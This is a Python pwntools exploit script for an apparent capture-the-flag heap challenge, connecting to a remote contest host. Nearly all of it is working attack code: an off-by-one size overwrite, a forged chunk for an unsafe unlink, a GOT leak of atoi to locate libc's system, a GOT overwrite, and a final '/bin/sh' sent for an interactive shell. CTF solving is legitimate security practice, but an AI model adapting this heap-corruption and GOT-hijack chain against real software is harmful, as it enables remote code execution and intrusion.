#!/usr/bin/env python
# coding=utf8

from pwn import remote, process, p64, u64, ELF
from time import sleep

# p = process('./run.sh')
p = remote('pwn1.chal.ctf.westerns.tokyo', 16317)
# elf = ELF('/usr/lib64/libc.so.6')
elf = ELF('./libc.so.6')

list_addr = 0x6020C0
got_atoi = 0x602058
system_offto_atoi = elf.symbols['system'] - elf.symbols['atoi']


def add_note(len, content=None):
    p.recvuntil('choice: \n')
    p.sendline('1')
    p.recvuntil('size: \n')
    p.sendline(str(len))
    p.recvuntil('note: \n')
    p.sendline(content if content else 'A' * len)


def del_note(id):
    p.recvuntil('choice: \n')
    p.sendline('2')
    p.recvuntil('index: \n')
    p.sendline(str(id))


def show_note(id):
    p.recvuntil('choice: \n')
    p.sendline('3')
    p.recvuntil('index: \n')
    p.sendline(str(id))


def edit_note(id, content):
    p.recvuntil('choice: \n')
    p.sendline('4')
    p.recvuntil('index: \n')
    p.sendline(str(id))
    p.recvuntil('note: \n')
    p.send(content)


if __name__ == '__main__':
    # a workaround
    p.sendline('')
    p.recvuntil('choice: \n')

    for i in range(4):
        add_note(152)

    # add note 4
    # p64(0xc0): bypass the security check for: 'corrupted size vs. prev_size'
    # Ref:
    # https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks.html
    # https://github.com/kraj/glibc/blob/1946d950f2235a4790fb5e386b9ba92dff55a930/malloc/malloc.c#L1399
    add_note(152, 'y' * 8*2 + p64(0xc0))

    del_note(3)

    # chr(0xc1): off-by-one
    edit_note(2, 'x' * 152 + chr(0xc1))

    # craft a heap chunk and overwrite note 4
    b_heap_content = p64(0xdeadbeefdeadbeef) + p64(0x90) + \
        p64(list_addr + 8*3 - 8*3) + p64(list_addr + 8*3 - 8*2) + \
        'Y' * 7*16 + \
        p64(0x90) + p64(0xa0)
    add_note(184, content=b_heap_content)

    # free note 4 and unlink note 3
    del_note(4)

    # now list[3] == &list[0]
    # leak got
    edit_note(3, p64(got_atoi))

    show_note(0)
    p.recvuntil('Note: \n')
    atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
    system_addr = atoi_addr + system_offto_atoi
    print '[*] system_addr: ' + hex(system_addr)

    edit_note(0, p64(system_addr)[:6])

    p.recvuntil('choice: \n')
    p.sendline('/bin/sh')

    p.interactive()